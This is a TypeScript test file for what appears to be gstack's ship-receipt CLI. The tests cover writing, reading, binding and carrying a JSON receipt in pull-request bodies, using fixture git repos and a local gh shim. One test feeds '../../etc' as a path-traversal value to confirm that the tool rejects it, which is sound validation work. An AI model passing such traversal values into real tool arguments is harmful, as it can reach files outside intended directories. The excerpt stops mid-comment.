Files
gstack/test/gstack-ship-receipt.test.ts
T
Garry Tanandcapy-ai[bot] c6e781f4a9 ship-receipt: carry counts changelog_fragments fragments as release metadata (GST-343) (#3656)
Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com>
2026-10-31 00:56:31 +00:00

814 lines
66 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
/**
* C5: the handoff record. `write` renders the fenced block identifiers-first
* and places it at the top of a PR body; `read` parses it back from a body or
* a PR (RECEIPT_MISSING / RECEIPT_INVALID); `census` computes the P7 adoption
* number over merged PRs, deduplicated by run and thread, against a cohort.
*/
import { afterEach, describe, expect, test } from 'bun:test';
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { EXIT } from '../lib/headless-artifacts';
import { bindReceipt, classifyCarryPath, computeCensus, extractReceipt, parseReviewLoop, placeReceiptFirst, planCarry, receiptSummaryLine, renderReceiptBlock, stampOnlyText } from '../lib/ship-receipt';
import { cleanup, ghShim, makeFixtureRepo, makePr, recordAndBundle, restamp, runBin, type FixtureRepo } from './helpers/restamp-fixture';
const repos: FixtureRepo[] = [];
const fixture = () => { const r = makeFixtureRepo({ prefix: 'ship-receipt-' }); repos.push(r); return r; };
afterEach(() => { while (repos.length) cleanup(repos.pop()!); });
const HEAD = 'a'.repeat(40);
const block = (receipt: Record<string, unknown>) => renderReceiptBlock(receipt as any);
describe('gstack-ship-receipt write', () => {
test('writes the block identifiers-first, validates it against the ship-receipt schema, and puts it at the top of the PR body', () => {
const repo = fixture();
makePr(repo, 'pr-a', { expects: '1.2.4.0' });
expect(restamp(repo, ['--version', '1.2.4.0']).status).toBe(EXIT.ok);
repo.git('commit', '-qam', 'stamp');
const head = repo.git('rev-parse', 'HEAD');
const bundle = path.join(repo.root, 'bundle.json');
recordAndBundle(repo, repo.work, [{ label: 'tests', command: 'true' }], bundle);
const treeReceipt = path.join(repo.root, 'tree-receipt.json');
const tr = runBin(repo, 'gstack-tree-receipt', ['--base', 'main', '--gated', head, '--bundle', bundle, '--predecessor', 'b'.repeat(40), '--json']);
fs.writeFileSync(treeReceipt, tr.out);
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, '## Summary\n\nProse that a truncated message may lose.\n');
const w = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--receipt', treeReceipt,
'--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}', '--ci', '@' + path.join(repo.root, 'ci.json'), '--spend-usd', '0.42',
'--session-kind', 'unattended', '--artifacts-consumed', '2/3', '--run', 'run-1', '--thread', 'jam_1', '--queue-mode', 'stamp-at-merge',
'--preregistration', 'none (no preregistration_shas)', '--history', 'squash-ok', '--body', body, '--out', path.join(repo.root, 'receipt.md')]);
expect(w.status).toBe(EXIT.usage);
fs.writeFileSync(path.join(repo.root, 'ci.json'), '{"checks":{"pass":3,"fail":0,"pending":0}}');
const ok = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--receipt', treeReceipt,
'--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}', '--ci', '@' + path.join(repo.root, 'ci.json'), '--spend-usd', '0.42',
'--session-kind', 'unattended', '--artifacts-consumed', '2/3', '--run', 'run-1', '--thread', 'jam_1', '--queue-mode', 'stamp-at-merge',
'--preregistration', 'none (no preregistration_shas)', '--history', 'squash-ok', '--body', body, '--out', path.join(repo.root, 'receipt.md')]);
expect(ok.status).toBe(EXIT.ok);
expect(ok.err.trim()).toBe(`SHIP_RECEIPT: pr=42 head=${head.slice(0, 12)} version=1.2.4.0 base=main gated_tree=${repo.git('rev-parse', 'HEAD^{tree}').slice(0, 12)} tree=same-modulo-stamps gate-reuse=eligible (reusable: tests; rerun: -) predecessor=${'b'.repeat(12)} session_kind=unattended artifacts_consumed=2/3 depth=light`);
const parsed = extractReceipt(ok.out);
expect(parsed.found).toBe(true);
expect(parsed.errors).toEqual([]);
expect(Object.keys(parsed.receipt!)).toEqual(['schema_version', 'pr', 'head', 'version', 'base', 'gated_tree', 'predecessor', 'tree', 'gate_reuse', 'gate', 'ci', 'spend_usd', 'session_kind', 'artifacts_consumed', 'run', 'thread', 'policy', 'queue_mode', 'preregistration', 'history', 'head_tree', 'product_patch_id', 'gstack_version', 'review_depth']);
expect(parsed.receipt).toMatchObject({ schema_version: 1, pr: 42, head, version: '1.2.4.0', base: 'main', tree: 'same-modulo-stamps', spend_usd: 0.42, ci: { checks: { pass: 3 } } });
expect(parsed.receipt!.head_tree).toBe(repo.git('rev-parse', 'HEAD^{tree}'));
expect(parsed.receipt!.product_patch_id).toMatch(/^([0-9a-f]{40}|none)$/);
expect(parsed.receipt!.policy).toMatch(/^origin\/main@[0-9a-f]{12}:\.gstack\/ship-policy\.json$/);
const written = fs.readFileSync(body, 'utf8');
expect(written.startsWith('```gstack-ship-receipt\n{\n "schema_version": 1,\n "pr": 42,\n "head": "' + head + '"')).toBe(true);
expect(written).toContain('\n```\n\n## Summary\n\nProse that a truncated message may lose.\n');
expect(fs.readFileSync(path.join(repo.root, 'receipt.md'), 'utf8')).toBe(ok.out);
const art = runBin(repo, 'gstack-artifact', ['validate', path.join(repo.root, 'receipt.json'), '--as', 'ship-receipt']);
expect(art.status).not.toBe(EXIT.ok);
fs.writeFileSync(path.join(repo.root, 'receipt.json'), JSON.stringify(parsed.receipt));
expect(runBin(repo, 'gstack-artifact', ['validate', path.join(repo.root, 'receipt.json'), '--as', 'ship-receipt']).status).toBe(EXIT.ok);
const again = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '43', '--base', 'main', '--body', body, '--session-kind', 'interactive', '--json']);
expect(again.status).toBe(EXIT.ok);
const j = JSON.parse(again.out);
expect(j).toMatchObject({ pr: 43, head, session_kind: 'interactive' });
expect('tree' in j).toBe(false);
const rewritten = fs.readFileSync(body, 'utf8');
expect(rewritten.match(/```gstack-ship-receipt/g)).toHaveLength(1);
expect(rewritten).toContain('"pr": 43');
expect(rewritten).toContain('## Summary');
});
test('refuses an invalid receipt before writing (RECEIPT_INVALID) and a non-integer --pr', () => {
const repo = fixture();
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, 'prose\n');
const r = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', 'seven', '--base', 'main', '--session-kind', 'x', '--body', body]);
expect(r.status).toBe(EXIT.usage);
expect(r.err).toContain('--pr must be an integer');
const receiptFile = path.join(repo.root, 'tree-receipt.json');
fs.writeFileSync(receiptFile, JSON.stringify({ tree: 'sideways', gate_reuse: 'eligible', gate_reuse_reason: 'x' }));
const inv = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '7', '--base', 'main', '--session-kind', 'x', '--receipt', receiptFile, '--body', body]);
expect(inv.status).toBe(EXIT.fail);
expect(inv.err).toMatch(/\(RECEIPT_INVALID\)/);
expect(inv.err).toContain('nothing written');
expect(fs.readFileSync(body, 'utf8')).toBe('prose\n');
});
});
describe('gstack-ship-receipt read', () => {
test('read --body and read --pr (through gh) return the block; a missing block is RECEIPT_MISSING, a broken one RECEIPT_INVALID', () => {
const repo = fixture();
const receipt = { schema_version: 1, pr: 5, head: HEAD, version: '1.2.4.0', base: 'main', session_kind: 'unattended', artifacts_consumed: '1/1', run: 'run-5', thread: 'jam_5' };
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, placeReceiptFirst('Prose.\n', receipt as any));
const b = runBin(repo, 'gstack-ship-receipt', ['read', '--body', body, '--json']);
expect(b.status).toBe(EXIT.ok);
expect(JSON.parse(b.out)).toEqual(receipt);
expect(b.err.trim()).toBe(receiptSummaryLine(receipt as any));
const env = ghShim(repo, {
5: { body: fs.readFileSync(body, 'utf8') },
6: { body: 'No receipt here.\n' },
7: { body: block({ schema_version: 2, head: HEAD, base: 'main' }) },
8: { body: '```gstack-ship-receipt\n{not json\n```\n' },
});
const p = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '5', '--repo', 'o/r'], env);
expect(p.status).toBe(EXIT.ok);
expect(p.out).toBe(renderReceiptBlock(receipt as any));
const missing = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '6', '--json'], env);
expect(missing.status).toBe(EXIT.fail);
expect(missing.err).toMatch(/PR #6.*\(RECEIPT_MISSING\)/);
expect(JSON.parse(missing.out)).toEqual({ found: false, errors: [] });
const invalid = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '7', '--json'], env);
expect(invalid.status).toBe(EXIT.fail);
expect(invalid.err).toMatch(/\(RECEIPT_INVALID\)/);
expect(JSON.parse(invalid.out)).toMatchObject({ found: true, valid: false });
const broken = runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '8'], env);
expect(broken.status).toBe(EXIT.fail);
expect(broken.err).toMatch(/block is not JSON.*\(RECEIPT_INVALID\)/);
expect(runBin(repo, 'gstack-ship-receipt', ['read', '--pr', '9'], env).status).toBe(EXIT.fail);
expect(runBin(repo, 'gstack-ship-receipt', ['read']).status).toBe(EXIT.usage);
});
test('the unattended handoff write lands in the file docs/unattended.md tells the parent to read --body, at HEAD and with no pr (GSTA-88)', () => {
const root = path.resolve(import.meta.dir, '..');
const tmpl = fs.readFileSync(path.join(root, 'ship/sections/handoff.md.tmpl'), 'utf8');
const write = tmpl.match(/gstack-ship-receipt (write [^\n`]*)/)![1].trim();
const out = write.match(/--out (\S+)/)?.[1];
expect(out).toBe('.gstack/tmp/ship-receipt.md');
expect(fs.readFileSync(path.join(root, 'ship/sections/handoff.md'), 'utf8')).toContain(write);
const docs = fs.readFileSync(path.join(root, 'docs/unattended.md'), 'utf8').replace(/\s+/g, ' ');
expect(docs).toContain(`gstack-ship-receipt read --body ${out} --json`);
expect(docs).toMatch(/read --pr <n> --json` only once a PR exists/);
const repo = fixture();
const env = { GSTACK_SESSION_KIND: 'unattended' };
fs.mkdirSync(path.join(repo.work, '.gstack/tmp'), { recursive: true });
fs.writeFileSync(path.join(repo.work, '.gstack/tmp/ship-gate.json'), '{"free":{"pass":1,"fail":0,"skip":0}}');
expect(runBin(repo, 'gstack-issue-links', ['--base', 'main', '--out', '.gstack/tmp/issues.json'], env).status).toBe(EXIT.ok);
const w = runBin(repo, 'gstack-ship-receipt', write.replace('<base>', 'main').split(' '), env);
expect(w.status).toBe(EXIT.ok);
expect(fs.readFileSync(path.join(repo.work, out!), 'utf8')).toBe(w.out);
const r = runBin(repo, 'gstack-ship-receipt', ['read', '--body', out!, '--json'], env);
expect(r.status).toBe(EXIT.ok);
const receipt = JSON.parse(r.out);
expect(receipt).toMatchObject({ head: repo.git('rev-parse', 'HEAD'), base: 'main', session_kind: 'unattended' });
expect(receipt).not.toHaveProperty('pr');
});
});
describe('gstack-ship-receipt result (/ship terminal line, GBRA-108)', () => {
test('binds the receipt to HEAD, writes the run record with the head and the receipt path, and ends with GSTACK_RESULT: skill=ship; a missing or stale receipt is status=refused run=-', () => {
const repo = fixture();
const head = repo.git('rev-parse', 'HEAD');
const state = path.join(repo.root, 'state');
const env = { ...ghShim(repo, {
5: { headRefOid: head, body: placeReceiptFirst('Prose.\n', { schema_version: 1, pr: 5, head, base: 'main', queue_mode: 'stamp-at-merge' } as any) },
6: { headRefOid: head, body: placeReceiptFirst('Prose.\n', { schema_version: 1, pr: 6, head: 'b'.repeat(40), base: 'main' } as any) },
7: { headRefOid: head, body: 'No receipt here.\n' },
9: { headRefOid: 'd'.repeat(40), body: placeReceiptFirst('Prose.\n', { schema_version: 1, pr: 9, head, base: 'main' } as any) },
10: { body: placeReceiptFirst('Prose.\n', { schema_version: 1, pr: 10, head, base: 'main' } as any) },
}), GSTACK_STATE_ROOT: state, GSTACK_SESSION_KIND: 'unattended' };
const ok = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '5'], env);
expect(ok.status).toBe(EXIT.ok);
const last = ok.out.trim().split('\n').at(-1)!;
const m = /^GSTACK_RESULT: skill=ship status=complete run=(.+)$/.exec(last);
expect(m).not.toBeNull();
const dir = m![1]!;
expect(dir.startsWith(path.join(state, 'ship', 'runs'))).toBe(true);
expect(dir.endsWith(`-${head.slice(0, 12)}`)).toBe(true);
const run = JSON.parse(fs.readFileSync(path.join(dir, 'ship-run.json'), 'utf8'));
expect(fs.existsSync(path.join(dir, 'run.json'))).toBe(false);
expect(run).toMatchObject({ schema_version: 1, skill: 'ship', status: 'complete', head, pr: 5, base: 'main', queue_mode: 'stamp-at-merge', receipt: path.join(dir, 'ship-receipt.md'), receipt_source: 'PR #5' });
expect(extractReceipt(fs.readFileSync(run.receipt, 'utf8')).receipt).toMatchObject({ pr: 5, head });
expect(ok.err.trim()).toBe(`SHIP_RECEIPT: pr=5 head=${head.slice(0, 12)} version=- base=main`);
const stale = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '6'], env);
expect(stale.status).toBe(EXIT.refused);
expect(stale.out.trim()).toBe('GSTACK_RESULT: skill=ship status=refused run=-');
expect(stale.err).toMatch(new RegExp(`PR #6's ship receipt is for bbbbbbbbbbbb, not the head ${head.slice(0, 12)} being merged.*\\(QUEUE_RECEIPT_STALE; https://github.com/garrytan/gstack/blob/main/docs/troubleshooting.md#queue-receipt-stale\\)`));
const missing = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '7', '--json'], env);
expect(missing.status).toBe(EXIT.refused);
expect(JSON.parse(missing.out)).toMatchObject({ skill: 'ship', status: 'refused', run: '-', code: 'QUEUE_RECEIPT_MISSING' });
const unpushed = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '9'], env);
expect([unpushed.status, unpushed.out.trim()]).toEqual([EXIT.refused, 'GSTACK_RESULT: skill=ship status=refused run=-']);
expect(unpushed.err).toContain(`HEAD ${head.slice(0, 12)} is not PR #9's pushed head dddddddddddd; push it, then rerun gstack-ship-receipt result`);
const noOid = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '10'], env);
expect([noOid.status, noOid.out.trim()]).toEqual([EXIT.fail, 'GSTACK_RESULT: skill=ship status=incomplete run=-']);
expect(noOid.err).toContain('gh pr view returned no headRefOid for PR #10');
expect(runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '--repo'], env).status).toBe(EXIT.usage);
const bothFlags = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '5', '--body', path.join(repo.work, 'any.md')], env);
expect([bothFlags.status, bothFlags.out]).toEqual([EXIT.usage, '']);
expect(bothFlags.err).toContain('not both');
const dirBody = runBin(repo, 'gstack-ship-receipt', ['result', '--body', repo.work], env);
expect([dirBody.status, dirBody.out.trim()]).toEqual([EXIT.fail, 'GSTACK_RESULT: skill=ship status=incomplete run=-']);
expect(dirBody.err).toContain(`cannot read ${repo.work}`);
const bodyFile = path.join(repo.work, '.gstack/tmp/ship-receipt.md');
fs.mkdirSync(path.dirname(bodyFile), { recursive: true });
fs.writeFileSync(bodyFile, renderReceiptBlock({ schema_version: 1, head, base: 'main' } as any));
const handoff = runBin(repo, 'gstack-ship-receipt', ['result', '--body', bodyFile, '--out', path.join(repo.root, 'run-out')], env);
expect(handoff.status).toBe(EXIT.ok);
expect(handoff.out.trim()).toBe(`GSTACK_RESULT: skill=ship status=complete run=${path.join(repo.root, 'run-out')}`);
expect(JSON.parse(fs.readFileSync(path.join(repo.root, 'run-out', 'ship-run.json'), 'utf8'))).toMatchObject({ head, pr: null, receipt_source: bodyFile, session_kind: 'unattended' });
expect(runBin(repo, 'gstack-ship-receipt', ['result', '--body', path.join(repo.root, 'absent.md')], env).status).toBe(EXIT.refused);
expect(runBin(repo, 'gstack-ship-receipt', ['result'], env).status).toBe(EXIT.usage);
const relative = runBin(repo, 'gstack-ship-receipt', ['result', '--body', bodyFile, '--out', 'rel-out'], env);
expect(relative.status).toBe(EXIT.ok);
expect(relative.out.trim()).toBe(`GSTACK_RESULT: skill=ship status=complete run=${path.join(repo.work, 'rel-out')}`);
expect(fs.existsSync(path.join(repo.work, 'rel-out', 'ship-run.json'))).toBe(true);
const blocker = path.join(repo.root, 'not-a-dir');
fs.writeFileSync(blocker, 'file\n');
const unwritable = runBin(repo, 'gstack-ship-receipt', ['result', '--body', bodyFile, '--out', path.join(blocker, 'sub')], env);
expect([unwritable.status, unwritable.out.trim()]).toEqual([EXIT.fail, 'GSTACK_RESULT: skill=ship status=incomplete run=-']);
expect(unwritable.err).toContain(`cannot write the run record under ${path.join(blocker, 'sub')}`);
expect(fs.readdirSync(path.join(state, 'ship', 'runs')).length).toBe(1);
});
// Value: protects=a --body handoff refusal names "the receipt", never "PR #-", and a gh failure is EXIT.fail, not a refusal;
// fails_when=the PR #-'s rewrite stops matching or gh errors are mapped to status=refused; why_new=the result test covers
// only the --pr refusals, an absent file and a bound handoff; seam=none; no_claim=real gh (the shim stands in; unit only)
test('a --body file with no block or a stale head is refused in the receipt\'s own words, and a gh failure is a plain failure, not a refusal', () => {
const repo = fixture();
const head = repo.git('rev-parse', 'HEAD');
const env = { ...ghShim(repo, {}), GSTACK_STATE_ROOT: path.join(repo.root, 'state') };
const dir = path.join(repo.work, '.gstack/tmp');
fs.mkdirSync(dir, { recursive: true });
const noBlock = path.join(dir, 'no-block.md');
fs.writeFileSync(noBlock, 'Handoff prose without a receipt.\n');
const missing = runBin(repo, 'gstack-ship-receipt', ['result', '--body', noBlock], env);
expect(missing.status).toBe(EXIT.refused);
expect(missing.out.trim()).toBe('GSTACK_RESULT: skill=ship status=refused run=-');
expect(missing.err).toContain("the receipt's body carries no ship receipt");
expect(missing.err).not.toContain('PR #-');
const staleFile = path.join(dir, 'stale.md');
fs.writeFileSync(staleFile, renderReceiptBlock({ schema_version: 1, head: 'c'.repeat(40), base: 'main' } as any));
const stale = runBin(repo, 'gstack-ship-receipt', ['result', '--body', staleFile], env);
expect(stale.status).toBe(EXIT.refused);
expect(stale.err).toContain(`the receipt's ship receipt is for cccccccccccc, not the head ${head.slice(0, 12)} being merged`);
const invalidFile = path.join(dir, 'invalid.md');
fs.writeFileSync(invalidFile, '```gstack-ship-receipt\n{"schema_version":1}\n```\n');
const invalid = runBin(repo, 'gstack-ship-receipt', ['result', '--body', invalidFile], env);
expect([invalid.status, invalid.out.trim()]).toEqual([EXIT.refused, 'GSTACK_RESULT: skill=ship status=refused run=-']);
expect(invalid.err).toMatch(/the receipt's ship receipt is invalid \(.*\).*\(QUEUE_RECEIPT_MISSING/);
const otherPrEnv = { ...env, ...ghShim(repo, { 8: { headRefOid: head, body: placeReceiptFirst('Prose.\n', { schema_version: 1, pr: 99, head, base: 'main' } as any) } }) };
const otherPr = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '8'], otherPrEnv);
expect([otherPr.status, otherPr.out.trim()]).toEqual([EXIT.refused, 'GSTACK_RESULT: skill=ship status=refused run=-']);
expect(otherPr.err).toContain("PR #8's ship receipt names pr=99, not this PR");
const pinned = path.join(dir, 'pinned.md');
fs.writeFileSync(pinned, renderReceiptBlock({ schema_version: 1, head: 'c'.repeat(40), base: 'main' } as any));
const override = runBin(repo, 'gstack-ship-receipt', ['result', '--body', pinned, '--head', 'c'.repeat(40), '--out', path.join(repo.root, 'pinned-out')], env);
expect([override.status, override.out.trim()]).toEqual([EXIT.ok, `GSTACK_RESULT: skill=ship status=complete run=${path.join(repo.root, 'pinned-out')}`]);
expect(JSON.parse(fs.readFileSync(path.join(repo.root, 'pinned-out', 'ship-run.json'), 'utf8')).head).toBe('c'.repeat(40));
const badHead = runBin(repo, 'gstack-ship-receipt', ['result', '--body', pinned, '--head', '../../etc'], env);
expect([badHead.status, badHead.out]).toEqual([EXIT.usage, '']);
expect(badHead.err).toContain('--head must be a full hex commit id');
const shortHead = runBin(repo, 'gstack-ship-receipt', ['result', '--body', pinned, '--head', head.slice(0, 12)], env);
expect([shortHead.status, shortHead.out]).toEqual([EXIT.usage, '']);
expect(shortHead.err).toContain('--head must be a full hex commit id');
const upper = runBin(repo, 'gstack-ship-receipt', ['result', '--body', pinned, '--head', 'C'.repeat(40), '--out', path.join(repo.root, 'upper-out')], env);
expect([upper.status, upper.out.trim()]).toEqual([EXIT.ok, `GSTACK_RESULT: skill=ship status=complete run=${path.join(repo.root, 'upper-out')}`]);
const noGit = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-receipt-nogit-'));
const outside = runBin(repo, 'gstack-ship-receipt', ['result', '--body', pinned], env, noGit);
expect([outside.status, outside.err.trim()]).toEqual([EXIT.usage, 'gstack-ship-receipt result: --head <sha> is required outside a git repository']);
fs.rmSync(noGit, { recursive: true, force: true });
const ghDown = runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '9'], env);
expect(ghDown.status).toBe(EXIT.fail);
expect(ghDown.err).toContain('gh pr view failed');
expect(ghDown.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-');
expect(JSON.parse(runBin(repo, 'gstack-ship-receipt', ['result', '--pr', '9', '--json'], env).out)).toMatchObject({ skill: 'ship', status: 'incomplete', run: '-' });
expect(fs.existsSync(path.join(repo.root, 'state', 'ship', 'runs'))).toBe(false);
});
});
describe('gstack-ship-receipt carry (harness lane E row 3: receipt follows a head whose product diff is unchanged)', () => {
// Value: protects=the carry rebinds only when the product patch-id against the base is identical (base merge, test-only fix,
// release metadata), records the evidence, and refuses a product change by name; fails_when=a product edit is carried, a
// rebased head is accepted, or the carried receipt loses its SHIP_RECEIPT identity; seam=none; no_claim=gh pr edit (the shim stands in)
test('carries across a conflict-only base merge and a test-only fix, records the carry, and ends with the terminal line; a product change is RECEIPT_CARRY_PRODUCT_CHANGED', () => {
const repo = fixture();
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n');
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 1;\n');
fs.writeFileSync(path.join(repo.work, 'test', 'app.test.ts'), 'test a\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed app'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n');
repo.git('commit', '-qam', 'feat: a=2');
const reviewed = repo.git('rev-parse', 'HEAD');
// main moves on in another file; the branch merges it (conflict-only base merge).
repo.git('checkout', '-q', 'main');
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 2;\n');
repo.git('commit', '-qam', 'main: o=2'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-q', 'feat');
repo.git('merge', '-q', '--no-edit', 'origin/main');
// then a test-only fix
fs.writeFileSync(path.join(repo.work, 'test', 'app.test.ts'), 'test a=2\n');
repo.git('commit', '-qam', 'test: fix expectation');
const head = repo.git('rev-parse', 'HEAD');
const state = path.join(repo.root, 'state');
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 5, head: reviewed, base: 'main', queue_mode: 'stamp-at-merge', review_loop: { passes: 2, blocking_found: 1, deferred: 1 } } as any));
const env = { GSTACK_STATE_ROOT: state, GSTACK_SESSION_KIND: 'unattended' };
const dry = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(dry.status).toBe(EXIT.ok);
expect(dry.out.trim()).toBe(`CARRY: would carry from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (base merge + test-only change); nothing written`);
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(reviewed);
const carried = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'carry-run')], env);
expect(carried.status).toBe(EXIT.ok);
expect(carried.out.trim().split('\n')).toEqual([
`CARRY: carried from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (base merge + test-only change)`,
`GSTACK_RESULT: skill=ship status=complete run=${path.join(repo.root, 'carry-run')}`,
]);
expect(carried.err.trim()).toBe(`SHIP_RECEIPT: pr=5 head=${head.slice(0, 12)} version=- base=main passes=2 blocking_found=1 deferred=1 carried_from=${reviewed.slice(0, 12)}`);
const after = extractReceipt(fs.readFileSync(body, 'utf8'));
expect(after.errors).toEqual([]);
expect(after.receipt).toMatchObject({ pr: 5, head, base: 'main', review_loop: { passes: 2 } });
expect(after.receipt!.carry).toMatchObject({ from: reviewed, reason: 'base merge + test-only change', merge_commits: 1, covers: ['pre-landing review', 'adversarial review', 'gate integrity', 'documentation audit'] });
expect(after.receipt!.carry!.product_patch_id).toMatch(/^[0-9a-f]{40}$/);
expect(after.receipt!.carry!.changed_paths.sort()).toEqual(['product:src/other.ts', 'test:test/app.test.ts']);
expect(after.receipt!.carry!.range_diff).not.toMatch(/^unavailable/);
expect(fs.readFileSync(body, 'utf8')).toContain('\n## Summary\n\nProse.\n');
const run = JSON.parse(fs.readFileSync(path.join(repo.root, 'carry-run', 'ship-run.json'), 'utf8'));
expect(run).toMatchObject({ skill: 'ship', status: 'complete', head, pr: 5, carried_from: reviewed, carry_reason: 'base merge + test-only change' });
expect(bindReceipt(fs.readFileSync(body, 'utf8'), '5', [head]).ok).toBe(true);
// already current
const current = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env);
expect([current.status, current.out.trim()]).toEqual([EXIT.ok, `CARRY: current (the receipt already names ${head.slice(0, 12)})`]);
// a product change does not carry, and the body keeps the receipt it had
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 3;\n');
repo.git('commit', '-qam', 'feat: a=3');
const changed = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env);
expect(changed.status).toBe(EXIT.refused);
expect(changed.out.trim()).toBe('CARRY: refused (RECEIPT_CARRY_PRODUCT_CHANGED)\nGSTACK_RESULT: skill=ship status=refused run=-');
expect(changed.err).toContain(`product diff changed between ${head.slice(0, 12)} and ${repo.git('rev-parse', 'HEAD').slice(0, 12)}: src/app.ts`);
expect(changed.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED; https://github.com/garrytan/gstack/blob/main/docs/troubleshooting.md#receipt-carry-product-changed)');
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(head);
});
test('a rebased head (receipt head not an ancestor), a body without a receipt and another PR\'s receipt are refused; through gh the body is posted with gh pr edit', () => {
const repo = fixture();
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'a\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'b\n');
repo.git('commit', '-qam', 'feat');
const reviewed = repo.git('rev-parse', 'HEAD');
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state') };
const foreign = path.join(repo.root, 'foreign.md');
fs.writeFileSync(foreign, placeReceiptFirst('x\n', { schema_version: 1, pr: 5, head: 'c'.repeat(40), base: 'main' } as any));
repo.git('commit', '-q', '--allow-empty', '-m', 'empty follow-up');
const notAncestor = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', foreign], env);
expect(notAncestor.status).toBe(EXIT.refused);
expect(notAncestor.err).toContain('is not an ancestor of HEAD');
expect(notAncestor.err).toContain('(RECEIPT_CARRY_REFUSED;');
const none = path.join(repo.root, 'none.md');
fs.writeFileSync(none, 'No receipt.\n');
expect(runBin(repo, 'gstack-ship-receipt', ['carry', '--body', none], env).err).toContain('(QUEUE_RECEIPT_MISSING;');
expect(runBin(repo, 'gstack-ship-receipt', ['carry'], env).status).toBe(EXIT.usage);
expect(runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '5', '--body', none], env).status).toBe(EXIT.usage);
// through gh: the shim records the edit
const head = repo.git('rev-parse', 'HEAD');
const shimDir = path.join(repo.root, 'gh2');
fs.mkdirSync(shimDir);
const posted = path.join(shimDir, 'posted.md');
const prBody = placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 8, head: reviewed, base: 'main' } as any);
fs.writeFileSync(path.join(shimDir, 'pr.json'), JSON.stringify({ body: prBody, headRefOid: head }));
fs.writeFileSync(path.join(shimDir, 'gh'), [
'#!/bin/sh',
`if [ "$1" = pr ] && [ "$2" = view ]; then cat "${path.join(shimDir, 'pr.json')}"; exit 0; fi`,
`if [ "$1" = pr ] && [ "$2" = edit ]; then shift 3; [ "$1" = --body-file ] || exit 9; cp "$2" "${posted}"; exit 0; fi`,
'echo "unsupported $*" >&2; exit 1', '',
].join('\n'), { mode: 0o755 });
const viaGh = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', path.join(repo.root, 'run')], { ...env, PATH: `${shimDir}:${process.env.PATH}` });
expect(viaGh.status).toBe(EXIT.ok);
expect(viaGh.out).toContain(`CARRY: carried from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (no content change)`);
const postedReceipt = extractReceipt(fs.readFileSync(posted, 'utf8'));
expect(postedReceipt.receipt).toMatchObject({ pr: 8, head, carry: { from: reviewed, reason: 'no content change', merge_commits: 0 } });
expect(fs.readFileSync(posted, 'utf8')).toContain('## Summary\n\nProse.\n');
const other = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '9'], { ...env, PATH: `${shimDir}:${process.env.PATH}` });
expect(other.status).toBe(EXIT.refused);
expect(other.err).toContain('the receipt names pr=8, not this PR');
});
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
// Value: protects=a release-metadata-only change (VERSION, CHANGELOG, lockfile, the policy's stamp_paths and release_outputs)
// carries with reason "release metadata" and every path classed metadata, so a stamp never sends a Captain back through a full
